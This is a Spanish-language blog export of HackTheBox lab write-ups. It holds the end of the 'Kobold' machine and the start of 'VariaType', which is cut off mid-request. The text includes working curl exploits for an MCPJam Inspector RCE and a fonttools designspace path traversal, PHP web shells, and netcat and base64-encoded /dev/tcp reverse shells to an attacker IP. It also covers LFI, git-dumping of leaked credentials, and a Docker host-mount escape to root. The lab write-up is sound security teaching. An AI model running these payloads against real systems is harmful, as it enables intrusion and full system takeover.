significa Model Context Protocol, definido como:\nAnnounced by Anthropic in November 2024, MCP is an open-source standard designed to allow LLMs to securely connect to external tools, data sources, and software systems.\nSi entramos:\nSe trata de MCPJam Inspector, otro programa más de código abierto que permite crear y configurar apps, hablar con LLMs, gestionar herramientas, recursos, prompts y demás.\nSi vamos a la pestaña Settings, vemos que la versión instalada es la v1.4.2, y si buscamos vulnerabilidades, encontramos lo que llevamos buscando tanto rato: CVE-2026-23744, CVSS 9.8, RCE.\nFoothold inicial # Se puede ver más información del CVE en el reporte de Github, pero en general la idea es hacer una petición HTTP como esta:\n1 curl http://[IP]:[PORT]/api/mcp/connect --header \u0026#34;Content-Type: application/json\u0026#34; --data \u0026#34;{\\\u0026#34;serverConfig\\\u0026#34;:{\\\u0026#34;command\\\u0026#34;:\\\u0026#34;cmd.exe\\\u0026#34;,\\\u0026#34;args\\\u0026#34;:[\\\u0026#34;/c\\\u0026#34;, \\\u0026#34;calc\\\u0026#34;],\\\u0026#34;env\\\u0026#34;:{}},\\\u0026#34;serverId\\\u0026#34;:\\\u0026#34;mytest\\\u0026#34;}\u0026#34; Este PoC está hecho para Windows, pero podemos modificarlo para Linux a nuestro gusto, por ejemplo:\n1 curl -k https://mcp.kobold.htb/api/mcp/connect --header \u0026#34;Content-Type: application/json\u0026#34; --data \u0026#34;{\\\u0026#34;serverConfig\\\u0026#34;:{\\\u0026#34;command\\\u0026#34;:\\\u0026#34;/bin/sh\\\u0026#34;,\\\u0026#34;args\\\u0026#34;:[\\\u0026#34;-c\\\u0026#34;, \\\u0026#34;curl 10.10.14.219:8000\\\u0026#34;],\\\u0026#34;env\\\u0026#34;:{}},\\\u0026#34;serverId\\\u0026#34;:\\\u0026#34;mytest\\\u0026#34;}\u0026#34; Y desde nuestro servidor en escucha recibimos la solicitud de curl:\n1 2 3 $ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 10.129.16.140 - - [24/Mar/2026 17:51:42] \u0026#34;GET / HTTP/1.1\u0026#34; 200 - Así que efectivamente tenemos RCE, por lo que vamos a por un revshell directamente:\n1 curl -k https://mcp.kobold.htb/api/mcp/connect --header \u0026#34;Content-Type: application/json\u0026#34; --data \u0026#34;{\\\u0026#34;serverConfig\\\u0026#34;:{\\\u0026#34;command\\\u0026#34;:\\\u0026#34;/bin/sh\\\u0026#34;,\\\u0026#34;args\\\u0026#34;:[\\\u0026#34;-c\\\u0026#34;, \\\u0026#34;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc 10.10.14.219 4444 \u0026gt;/tmp/f\\\u0026#34;],\\\u0026#34;env\\\u0026#34;:{}},\\\u0026#34;serverId\\\u0026#34;:\\\u0026#34;mytest\\\u0026#34;}\u0026#34; Y al ejecutarlo:\n1 2 3 4 5 6 7 8 9 10 $ penelope -i 10.10.14.219 [+] Listening for reverse shells on 10.10.14.219:4444 -\u0026gt; Main Menu (m) Payloads (p) Clear (Ctrl-L) Quit (q/Ctrl-C) [+] Got reverse shell from kobold.htb~10.129.16.140-Linux-x86_64 Assigned SessionID \u0026lt;1\u0026gt; [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ whoami ben Persistencia # Tan pronto como entro, para evitar problemas con el shell y conseguir persistencia, creo un par de claves SSH aprovechando que somos un usuario normal.\n1 2 3 4 5 6 7 8 $ ssh-keygen -t rsa Generating public/private rsa key pair. Enter file in which to save the key (/home/kali/.ssh/id_rsa): /home/kali/kobold/ben_rsa Enter passphrase for \u0026#34;/home/kali/kobold/ben_rsa\u0026#34; (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/kali/kobold/ben_rsa Your public key has been saved in /home/kali/kobold/ben_rsa.pub ... Y desde el revshell:\n1 ben@kobold:~$ nano .ssh/authorized_keys #Copio ben_rsa.pub Luego, de nuevo desde nuestra máquina:\n1 2 3 4 5 $ ssh ben@kobold.htb -i ben_rsa Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-106-generic x86_64) ... ben@kobold:~$ Privesc # Hacemos recuento de lo que tenemos hasta el momento:\nServicio Arcane no vulnerable, panel de login con credenciales desconocidas, en tcp/3552. Quizás debamos buscar las credenciales localmente Servicio Privatebin vulnerable a LFI. Servicio MCPJam Inspector vulnerable a RCE (Foothold). Vemos que en /home hay 2 cuentas: alice y bob. No tenemos permiso para ver el directorio de la primera.\nAnalizamos puertos en local, vemos 3:\n1 2 3 tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:33031 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:6274 0.0.0.0:* LISTEN 1641/node Probamos a hacer curl a todas:\n1 2 3 4 5 6 7 8 9 10 11 12 ben@kobold:~$ curl localhost:8080 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34; class=\u0026#34;h-100\u0026#34;\u0026gt; ...[SNIP]... # HTML de PrivateBin ben@kobold:~$ curl localhost:33031 404: Page Not Found ben@kobold:~$ curl localhost:6274 \u0026lt;!doctype html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; ...[SNIP]... # HTML de MCPJam Inspector tcp/8080 es Privatebin tcp/33031 sirve HTTP pero no sabemos qué es tcp/6274 es MCPJam Inspector Además, al buscar encontramos el directorio /privatebin-data, del que posiblemente también podamos sacar información (aunque por la propia filosofía de diseño de Privatebin los datos están cifrados en el servidor) y /app, que al parecer corresponde a Arcane pero está vacía.\nSi nos fijamos, no estamos en un solo grupo, sino que somos parte del grupo operator:\n1 2 ben@kobold:/privatebin-data$ id uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator) Y si miramos los archivos que pertenecen a ese grupo:\n1 2 3 4 5 6 7 8 9 10 11 12 13 ben@kobold:/privatebin-data$ find / -group operator 2\u0026gt;/dev/null /privatebin-data /privatebin-data/certs /privatebin-data/certs/key.pem /privatebin-data/certs/cert.pem /privatebin-data/data /privatebin-data/data/purge_limiter.php /privatebin-data/data/bd /privatebin-data/data/bd/b5 /privatebin-data/data/.htaccess /privatebin-data/data/e3 /privatebin-data/data/traffic_limiter.php /privatebin-data/data/salt.php Así que todo apunta a /privatebin-data.\nprivatebin-data: \u0026ldquo;Bajando de privilegios\u0026rdquo; # Vamos al directorio y miramos los contenidos:\n1 2 3 4 5 ben@kobold:/privatebin-data$ ls -al total 20 drwxrwx--- 2 root operator 4096 Mar 15 21:23 certs drwxr-x--- 2 root 82 4096 Mar 15 21:23 cfg drwxrwxrwx 5 root operator 4096 Mar 15 21:23 data No podemos tocar cfg, pero sí podemos abrir y editar data. Recordemos que además tenemos una vulnerabilidad de LFI:\nPrivateBin versiones 1.7.7 a 2.0.2 presentan una vulnerabilidad crítica de LFI en la función de cambio de plantilla, permitiendo la lectura de archivos sensibles o la ejecución remota de código (RCE). El fallo ocurre cuando templateselection está activo, permitiendo a un atacante manipular la cookie template.\nPodemos conseguir RCE, pero ahora bien, como quién se ejecuta Privatebin? Si volvemos a www-data de poco nos sirve. Dado que no tenemos permisos para usar p.ej sudo ss -ltnp 'sport = :8080' o similares, jugamos a ciegas.\nAprovechando el CVE y mirando una forma de explotarlo en una página, veo que es tan simple como esto:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 ben@kobold:/privatebin-data/data$ curl localhost:8080 -b \u0026#39;template=../cfg/conf\u0026#39; -v # Pero... * Host localhost:8080 was resolved. ...[SNIP]... * Connected to localhost (127.0.0.1) port 8080 \u0026gt; GET / HTTP/1.1 \u0026gt; Host: localhost:8080 \u0026gt; User-Agent: curl/8.5.0 \u0026gt; Accept: */* \u0026gt; Cookie: template=../cfg/conf \u0026gt; \u0026lt; HTTP/1.1 500 Internal Server Error \u0026lt; Server: nginx ...[SNIP]... Y si probamos con cualquier otra cosa:\n1 2 3 4 5 6 ben@kobold:/privatebin-data/data$ curl localhost:8080 -b \u0026#39;template=../../../etc/passwd\u0026#39; \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34; class=\u0026#34;h-100\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34; /\u0026gt; ...[SNIP]... # HTML Cada vez que usamos esta vulnerabilidad, el servidor añade un sufijo .php al nombre pasado en template, por eso, al no encontrar /etc/passwd.php simplemente devuelve la página, pero al encontrar un archivo que sí existe e intentar ejecutarlo (En este caso un archivo de configuración conf.php) da error.\nSi creamos un shell.php en /privatebin-data/data y luego lo usamos para el LFI:\n1 2 3 4 5 6 7 8 ben@kobold:/privatebin-data/data$ cat shell.php \u0026lt;?php exec(\u0026#34;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc 10.10.14.219 4444 \u0026gt;/tmp/f\u0026#34;);? # Añadimos permisos ben@kobold:/privatebin-data/data$ chmod 777 shell.php # Lo llamamos en el LFI ben@kobold:/privatebin-data/data$ curl localhost:8080 -b \u0026#39;template=../data/shell\u0026#39; Desde un listener en escucha:\n1 2 3 4 5 6 7 8 9 $ penelope -i 10.10.14.219 [+] Listening for reverse shells on 10.10.14.219:4444 [+] Got reverse shell from 4c49dd7bb727~10.129.16.140-Linux-x86_64 😍️ Assigned SessionID \u0026lt;2\u0026gt; [+] Shell upgraded successfully using /var/tmp/socat! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 /bin/sh: can\u0026#39;t access tty; job control turned off whoami nobody Y hemos llegado a ser nobody dentro de un sistema Alpine Linux en un container Docker, dentro de lo que cabe, tenemos algo nuevo.\nAprovechando la bajada # Nota: Movimiento lateral En esta situación e incluso antes de entrar al container, ya había descartado explotar el LFI porque suponía que acabaríamos aquí y porque no me había servido para el foothold inicial, y veía contraintuitivo el estar \u0026ldquo;bajando de privilegios\u0026rdquo; desde la máquina principal a un container. Visto lo visto, es igual de importante subir hacia arriba que bajar hacia abajo, mientras aporte información que permita subir más alto luego. Conclusión, nunca descartar un CVE conocido, aunque parezca inútil al principio.\nLo bueno de tener acceso directo al container es que podemos buscar toda la configuración de Privatebin. Tras una búsqueda:\nPrivateBin\u0026rsquo;s configuration file is located at cfg/conf.php relative to the installation\u0026rsquo;s root path.\nAsí que buscamos el nombre del archivo:\n1 2 $ find / -name \u0026#34;conf.php\u0026#34; 2\u0026gt;/dev/null /srv/cfg/conf.php Y ahora lo abrimos (filtrando los comentarios con ;, que eran bastantes):\n1 2 3 4 5 6 7 $ cat /srv/cfg/conf.php | grep -v \u0026#34;;\u0026#34; ...[SNIP]... [model] [model_options] usr = \u0026#34;privatebin\u0026#34; pwd = \u0026#34;ComplexP@sswordAdmin1928\u0026#34; Y al final encontramos la contraseña ComplexP@sswordAdmin1928.\nVolviendo a subir # Una vez tenemos la contraseña, podemos intuir que se reutilizará en algún sitio, y dado que Arcane es el único lugar para el que necesitamos contraseña, y para el que tenemos un user por defecto, usaremos la combinación arcane:ComplexP@sswordAdmin1928.\nNota: Reutilización de contraseñas Aunque en este caso no sirvió, también habría que probar a hacer su alice o incluso su root con las mismas credenciales, nunca se sabe lo que puede pasar.\nEn definitiva, probamos las credenciales y: Ahí encontramos 2 imágenes: privatebin, la que acabamos de visitar; y mysql. En un primer momento pienso que en mysql puede haber datos que podríamos conseguir, pero realmente es probable que simplemente sea una imagen limpia, así que buscamos otro modo.\nPasado un rato buscando cómo puede aprovecharse la situación, veo que es posible crear un container (aprovechando que docker se ejecuta como root) en el que seamos root, y montar ahí todo el sistema de archivos real, obteniendo privilegios sobre todo el sistema. El proceso sería algo así:\nCrear container Docker en el que somos root usando cualquier imagen a mano. Montar, p.ej en /mnt/host (del container) el filesystem / (del host). Desplegar el container Obtener shell Arcane tiene un shell para cada container en [Containers]\u0026gt; (En los 3 puntos del container específico) [Inspect]\u0026gt;[Shell] Así que vamos a [Containers] \u0026gt; [Create Container] y ahí llenamos las opciones.\nUna vez configurado, lo creamos e iniciamos, luego vamos al apartado shell:\nY tenemos root (aunque en una ventana del navegador). Si por gusto queremos conseguir un shell más estable y menos limitado, podemos subir la clave pública que teníamos antes al authorized_keys de /root/.ssh:\n1 2 3 4 $ ssh root@kobold.htb -i ben_root Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-106-generic x86_64) root@kobold:~# Y ahora tenemos root (en condiciones).\n","date":"24 de marzo de 2026","externalUrl":null,"permalink":"/writeups/kobold/","section":"Writeups","summary":"OS: Linux | Dificultad: Easy | Conceptos: Privatebin, MCP, LFI, Docker","title":"HackTheBox - Kobold","type":"writeups"},{"content":"","date":"24 de marzo de 2026","externalUrl":null,"permalink":"/tags/privatebin/","section":"Tags","summary":"","title":"Privatebin","type":"tags"},{"content":"","date":"21 de marzo de 2026","externalUrl":null,"permalink":"/tags/.git/","section":"Tags","summary":"","title":".Git","type":"tags"},{"content":"","date":"21 de marzo de 2026","externalUrl":null,"permalink":"/tags/designspace/","section":"Tags","summary":"","title":"Designspace","type":"tags"},{"content":"","date":"21 de marzo de 2026","externalUrl":null,"permalink":"/tags/fonttools/","section":"Tags","summary":"","title":"Fonttools","type":"tags"},{"content":" Dificultad: medium Tiempo aprox. ~8h Datos Iniciales: 10.129.9.137 Nmap Scan # Tras hacer un escaneo de puertos, habiendo añadido variatype.htb previamente a /etc/hosts, se encuentra lo siguiente:\n1 2 3 4 5 6 7 8 9 10 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0) | ssh-hostkey: | 256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA) |_ 256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519) 80/tcp open http nginx 1.22.1 |_http-title: VariaType Labs \\xE2\\x80\\x94 Variable Font Generator |_http-server-header: nginx/1.22.1 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel # Nada en UDP Top 200 22/tcp (OpenSSH 9.2p1): Versión vulnerable a RegreSSHion, dificil de explotar así que no hay mucho que podamos hacer. 80/tcp (nginx 1.22.1): Se anuncia como un \u0026ldquo;Variable Font Generator\u0026rdquo; El código en medio (\\xE2\\x80\\x94) parece ser la codificación UTF-8 de — (\u0026quot;em dash\u0026quot;). Nada relevante. HTTP # variatype.htb # Al entrar, vemos una página que promete lo siguiente:\nGenerate production-ready variable fonts from your .designspace and master font files using industry-standard tooling.\nLa página permite subir archivos .designspace y .ttf/.otf para crear \u0026ldquo;fuentes variables\u0026rdquo;. Tras una búsqueda para descubrir qué son estos archivos:\nLos archivos .designspace son archivos de código fuente en XML. Se usan para diseñar tipografías con múltiples variables (Thin, Italic, etc.). No tienen dibujos de letras, solo info que le dice al compilador dónde encontrar archivos de dibujo (.ufo), cómo interpolarlos y qué ejes existen (anchura, inclinación, etc.).\nLos archivos .ttf (TrueType Font) y .otf (OpenType Font) son los archivos compilados finales, contienen los contornos de las letras, info del espaciado y metadatos. Son las que se instalan en el sistema directamente.\nLas fuentes variables son una evolución de las fijas que permiten que muchas variaciones de una sola fuente estén metidas en un solo archivo, en lugar de tener que tenerlas todas en archivos separados (p.ej, para thin, medium, bold, italic\u0026hellip;).\nVhosts -\u0026gt; portal.variatype.htb # En la pestaña Services, debajo del todo, vemos un botón Email Us que nos lleva a mailto:studio@variabype.labs. Puede ser otro vhost? Si probamos con whatweb vemos que también lo detecta:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ whatweb http://variatype.htb/services -a 3 -v WhatWeb report for http://variatype.htb/services Status : 200 OK Title : Services — VariaType Labs IP : 10.129.9.137 Country : RESERVED, ZZ Summary : Email[studio@variabype.labs], HTML5, HTTPServer[nginx/1.22.1], nginx[1.22.1] Detected Plugins: [ Email ] String : studio@variabype.labs String : studio@variabype.labs ... Así que probamos a añadirlo a /etc/hosts, y buscamos subdominios tanto para ese como para variatype.htb:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $ curl http://variabype.labs -v ...[SNIP]... \u0026lt; HTTP/1.1 301 Moved Permanently \u0026lt; Server: nginx/1.22.1 \u0026lt; Date: Sun, 15 Mar 2026 22:57:57 GMT \u0026lt; Content-Type: text/html \u0026lt; Content-Length: 169 \u0026lt; Connection: keep-alive \u0026lt; Location: http://variatype.htb/ \u0026lt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt;\u0026lt;title\u0026gt;301 Moved Permanently\u0026lt;/title\u0026gt;\u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;center\u0026gt;\u0026lt;h1\u0026gt;301 Moved Permanently\u0026lt;/h1\u0026gt;\u0026lt;/center\u0026gt; \u0026lt;hr\u0026gt;\u0026lt;center\u0026gt;nginx/1.22.1\u0026lt;/center\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; * Connection #0 to host variabype.labs:80 left intact Vemos que con variabype.labs se nos redirige a variatype.htb, así que no nos ha servido de mucho.\nCon el dominio original probamos a enumerar subdominios:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ gobuster vhost --url http://variatype.htb -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -ad =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://variatype.htb [+] Method: GET [+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt [+] Timeout: 10s [+] Append Domain: true =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== portal.variatype.htb Status: 200 [Size: 2494] Y tenemos portal.variatype.htb, lo añadimos a /etc/hosts. Al entrar encontramos una página de login:\nNo parece ser el panel de login de ningún CMS o similar, tampoco parece haber nada en el código fuente ni se muestra una versión. Lo único que encontramos es un directorio files/ para el que no tenemos permisos, así que tenemos que volver atrás.\nVuelta a variatype.htb -\u0026gt; CVE-2025-66034 # Sabemos que el sistema de VariaType permite subir archivos .designspace, .ttf y .otf, también sabemos que, por detrás, se usan librerías y herramientas como fonttools, fontmake, y gftools:\nfonttools: Biblioteca de Python que puede leer, manipular y escribir archivos .ttf y .otf. Permite desensamblar una fuente binaria en un formato legible, modificar sus datos internos y volver a compilarla. Se usa en prácticamente todo lo relacionado con fuentes en el ámbito open source. fontmake: Compilador de fuentes construido sobre fonttools. Toma archivos .designspace junto con los .ufo y los compila en archivos .ttf y otf o fuentes variables gftools es un conjunto de herramientas oficiales de Google Fonts. Permiten verificar calidad, generar archivos de prueba y demás. Dado que es más algo \u0026ldquo;auxiliar\u0026rdquo;, podemos ignorarlo en cierta medida. Si nos centramos en fonttools y fontmake, que sabemos que se usan, y sabemos que en este caso crean fuentes variables, podemos encontrar específicamente las funciones o módulos que utilizan. Y tras una búsqueda:\nfonttools usa el módulo varLib, concretamente la función build() de varLib, para crear fuentes variables, tomando un .designspace y generando la fuente.\nY, casualmente, si buscamos vulnerabilidades relevantes de fonttools: CVE-2025-66034.\nVemos que este CVE permite a un atacante conseguir RCE mediante un path traversal y una inyección XML, usando un .designspace malicioso.\nLa idea es que, al compilar con fonttools, es posible indicar dónde queremos que se dejen los archivos resultantes, pero, en sus versiones vulnerables, la librería no comprueba bien el directorio y eso la hace vulnerable a un path traversal. Por otro lado, aprovechando esto, también es posible manipular ciertos elementos del XML para que se escriban tal cual en un archivo final.\nEn el PoC aparecen 2 .designspace\u0026rsquo;s diferentes, cada uno mostrando un fallo (XML injection, Path traversal), pero la idea es unificar ambos en un solo archivo, p.ej:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 \u0026lt;?xml version=\u0026#39;1.0\u0026#39; encoding=\u0026#39;UTF-8\u0026#39;?\u0026gt; \u0026lt;designspace format=\u0026#34;5.0\u0026#34;\u0026gt; \u0026lt;axes\u0026gt; \u0026lt;!-- XML injection occurs in labelname elements with CDATA sections --\u0026gt; \u0026lt;axis tag=\u0026#34;wght\u0026#34; name=\u0026#34;Weight\u0026#34; minimum=\u0026#34;100\u0026#34; maximum=\u0026#34;900\u0026#34; default=\u0026#34;400\u0026#34;\u0026gt; \u0026lt;labelname xml:lang=\u0026#34;en\u0026#34;\u0026gt;\u0026lt;![CDATA[\u0026lt;?php system($_GET[\u0026#39;cmd\u0026#39;]); ?\u0026gt;]]]]\u0026gt;\u0026lt;![CDATA[\u0026gt;]]\u0026gt;\u0026lt;/labelname\u0026gt; \u0026lt;/axis\u0026gt; \u0026lt;/axes\u0026gt; \u0026lt;sources\u0026gt; \u0026lt;source filename=\u0026#34;source-light.ttf\u0026#34; name=\u0026#34;Light\u0026#34;\u0026gt; \u0026lt;location\u0026gt; \u0026lt;dimension name=\u0026#34;Weight\u0026#34; xvalue=\u0026#34;100\u0026#34;/\u0026gt; \u0026lt;/location\u0026gt; \u0026lt;/source\u0026gt; \u0026lt;source filename=\u0026#34;source-regular.ttf\u0026#34; name=\u0026#34;Regular\u0026#34;\u0026gt; \u0026lt;location\u0026gt; \u0026lt;dimension name=\u0026#34;Weight\u0026#34; xvalue=\u0026#34;400\u0026#34;/\u0026gt; \u0026lt;/location\u0026gt; \u0026lt;/source\u0026gt; \u0026lt;/sources\u0026gt; \u0026lt;!-- Filename can be arbitrarily set to any path on the filesystem --\u0026gt; \u0026lt;variable-fonts\u0026gt; \u0026lt;variable-font name=\u0026#34;MaliciousFont\u0026#34; filename=\u0026#34;../../../../../../../var/www/html/shell.php\u0026#34;\u0026gt; \u0026lt;axis-subsets\u0026gt; \u0026lt;axis-subset name=\u0026#34;Weight\u0026#34;/\u0026gt; \u0026lt;/axis-subsets\u0026gt; \u0026lt;/variable-font\u0026gt; \u0026lt;/variable-fonts\u0026gt; \u0026lt;/designspace\u0026gt; Además, para que funcione, necesitamos los archivos source-light.ttf y source-regular.ttf que aparecen en el .designspace (porque antes de ejecutar nuestro payload fonttools los procesa para crear el archivo final), pero podemos crearlos con el script dado en el PoC.\nCon todo esto, subimos los archivos, pero al ejecutarlo:\nBuscando un directorio útil # Como no sabemos si verdaderamente se está usando /var/www/html u otro directorio, y no podemos probar con todos los directorios posibles por defecto (y custom) que el webserver podría servir, lo que podemos hacer es subir solo unas pocas rutas relativas, sin intentar llegar hasta la raíz (/) para luego bajar. En lugar de:\n1 \u0026lt;variable-font name=\u0026#34;MaliciousFont\u0026#34; filename=\u0026#34;../../../../../../../var/www/html/shell.php\u0026#34;\u0026gt; Usamos:\n1 \u0026lt;variable-font name=\u0026#34;MaliciousFont\u0026#34; filename=\u0026#34;../shell.php\u0026#34;\u0026gt; Ahora si probamos a mandarlo:\nEl problema es que si probamos a solicitar shell.php en cualquiera de estos sitios:\n1 2 3 4 5 http://variatype.htb/shell.php http://variatype.htb/tools/shell.php http://variatype.htb/tools/variable-font-generator/shell.php http://portal.variatype.htb/files/shell.php http://portal.variatype.htb/shell.php Todos devuelven 404 NOT FOUND, así que todavía no sabemos dónde se está guardando el archivo. Podemos probar a añadir otro ../ más, pero el resultado es el mismo. Si añadimos otro más, es decir:\n1 \u0026lt;variable-font name=\u0026#34;MaliciousFont\u0026#34; filename=\u0026#34;../../../shell.php\u0026#34;\u0026gt; Ahora se nos devuelve Font generation failed during processing., el mismo error de antes, así que probablemente hayamos salido a un directorio en el que ya no tenemos permisos de escritura, por lo que ../../ es el directorio más alto en el que tenemos permisos. Con esta info que vamos sacando podemos ir deduciendo dónde se están sirviendo los archivos.\nSi probamos con filename=\u0026quot;../../../../../../../../../../../tmp/shell.php sí funciona, así que tenemos permisos en /tmp. Esto significa que podemos saber nuestra distancia relativa a / quitando /..\u0026rsquo;s.\nfilename=\u0026quot;../../../../tmp/shell.php funciona. -filename=\u0026quot;../../../tmp/shell.php funciona. -filename=\u0026quot;../../tmp/shell.php funciona. -filename=\u0026quot;../tmp/shell.php funciona. -filename=\u0026quot;./tmp/shell.php funciona. Según esta lógica, el servidor compila y procesa nuestras fuentes desde /, lo que tiene 0 sentido, así que podemos deducir otra cosa que explica mejor la situación, y es que tenemos permisos de escritura en los directorios, y cuando ponemos pocos ../\u0026rsquo;s lo que sucede es que el servidor crea una carpeta tmp dentro de la ruta.\nComo tenemos permisos para la ruta absoluta /tmp, necesitamos algo para lo que específicamente no tengamos permisos, como p.ej /bin. Si probamos con filename=\u0026quot;/bin/shell.php veremos que no funciona, pero si lo hacemos con filename=\u0026quot;../../bin/shell.php sí funciona, porque se crea el directorio. La idea es ver cuándo llegamos a /, para que se intente crear el /bin/shell.php, se nos deniegue el permiso, y entonces sepamos a cuánta distancia estamos de /.\nSi probamos con filename=\u0026quot;../../bin/shell.php funciona, pero si probamos con filename=\u0026quot;../../../bin/shell.php no funciona, así que ya sabemos algo más:\nLa distancia relativa hasta el directorio raíz (/) es de 3. Volviendo a pensar desde cero, si planteamos un directorio a 3 niveles de profundidad, contando con que nginx diferencia entre variatype.htb y portal.variatype.htb, posiblemente estemos ubicados en /var/www/variatype.htb o /var/www/portal.variatype.htb, el problema es que no tenemos permisos de escritura para ninguno de los dos, así que posiblemente el directorio con los elementos que realmente se están sirviendo está por debajo de estos.\nEncontrando .git # Pasado un rato largo, pruebo a enumerar de nuevo ambos subdominios por si me había dejado algo, encuentro lo siguiente:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $ sudo nmap -sT -Pn -n --disable-arp-ping -p80 portal.variatype.htb -sVC [sudo] password for kali: Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-15 21:45 -0400 Nmap scan report for portal.variatype.htb (10.129.9.137) Host is up (0.042s latency). PORT STATE SERVICE VERSION 80/tcp open http nginx 1.22.1 |_http-server-header: nginx/1.22.1 | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-title: VariaType \\xE2\\x80\\x94 Internal Validation Portal | http-git: | 10.129.9.137:80/.git/ | Git repository found! | .git/config matched patterns \u0026#39;user\u0026#39; | Repository description: Unnamed repository; edit this file \u0026#39;description\u0026#39; to name the... |_ Last commit message: security: remove hardcoded credentials Y tenemos lo que necesitábamos. Aunque al solicitarlo no parece que tengamos permisos:\n1 2 3 4 5 6 7 8 $ curl -s http://portal.variatype.htb/.git/ \u0026lt;html\u0026gt; \u0026lt;head\u0026gt;\u0026lt;title\u0026gt;403 Forbidden\u0026lt;/title\u0026gt;\u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;center\u0026gt;\u0026lt;h1\u0026gt;403 Forbidden\u0026lt;/h1\u0026gt;\u0026lt;/center\u0026gt; \u0026lt;hr\u0026gt;\u0026lt;center\u0026gt;nginx/1.22.1\u0026lt;/center\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Al solicitar a algo que sepamos que existe:\n1 2 3 4 5 6 7 8 9 $ curl -s http://portal.variatype.htb/.git/config [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [user] name = Dev Team email = dev@variatype.htb Así que usamos una herramienta como git-dumper:\n1 2 3 4 5 6 $ git-dumper http://portal.variatype.htb/.git/ portalrepo [-] Testing http://portal.variatype.htb/.git/HEAD [200] [-] Testing http://portal.variatype.htb/.git/ [403] [-] Fetching common files [-] Fetching http://portal.variatype.htb/.gitignore [404] ...[SNIP]... Entramos al repo y listamos commits, aunque de primeras en el escaneo de nmap habíamos visto que el último commit era remove hardcoded credentials, pero de todas formas encontramos lo siguiente:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 $ git log --oneline --graph --all --decorate * 753b5f5 (HEAD -\u0026gt; master) fix: add gitbot user for automated validation pipeline * 5030e79 feat: initial portal implementation $ git show 753b5f5 commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -\u0026gt; master) Author: Dev Team \u0026lt;dev@variatype.htb\u0026gt; Date: Fri Dec 5 15:59:33 2025 -0500 fix: add gitbot user for automated validation pipeline diff --git a/auth.php b/auth.php index 615e621..b328305 100644 --- a/auth.php +++ b/auth.php @@ -1,3 +1,5 @@ \u0026lt;?php session_start(); -$USERS = []; +$USERS = [ + \u0026#39;gitbot\u0026#39; =\u0026gt; \u0026#39;G1tB0t_Acc3ss_2025!\u0026#39; +]; Y tenemos unas credenciales gitbot:G1tB0t_Acc3ss_2025!, con las que accedemos al panel, y desde el que podemos ver todos los archivos .ttf creados anteriormente por nuestros intentos de explotar la vulnerabilidad:\nAl lado aparecen unos botones de Download y View. Dado que este panel (como pone también) está intencionado para ser de uso interno únicamente, es posible que haya alguna vulnerabilidad de path traversal. Tras probar un rato:\nAsí que ahora podemos buscar la configuración de nginx para ver dónde se están guardando nuestros archivos realmente. Según Internet, esta se guarda en /etc/nginx/sites-available/\u0026lt;nombre_Dominio\u0026gt;:\nY ahí lo tenemos:\n1 root /var/www/portal.variatype.htb/public; Nuestro payload debe ir a /var/www/portal.variatype.htb/public, así que ahí lo mandamos. Modificamos el .designspace:\n1 \u0026lt;variable-font name=\u0026#34;MaliciousFont\u0026#34; filename=\u0026#34;/var/www/portal.variatype.htb/public/shell.php\u0026#34;\u0026gt; Lo mandamos y miramos el directorio de nuevo:\nY tenemos el shell accesible. Ahora mandamos un reverse shell como el siguiente:\n1 2 echo L2Jpbi9iYXNoIC1jIC9iaW4vYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yMTAvNDQ0NCAwPiYxCg== | base64 -d | bash # Encodeado a URL Desde BurpSuite:\n1 2 3 4 GET 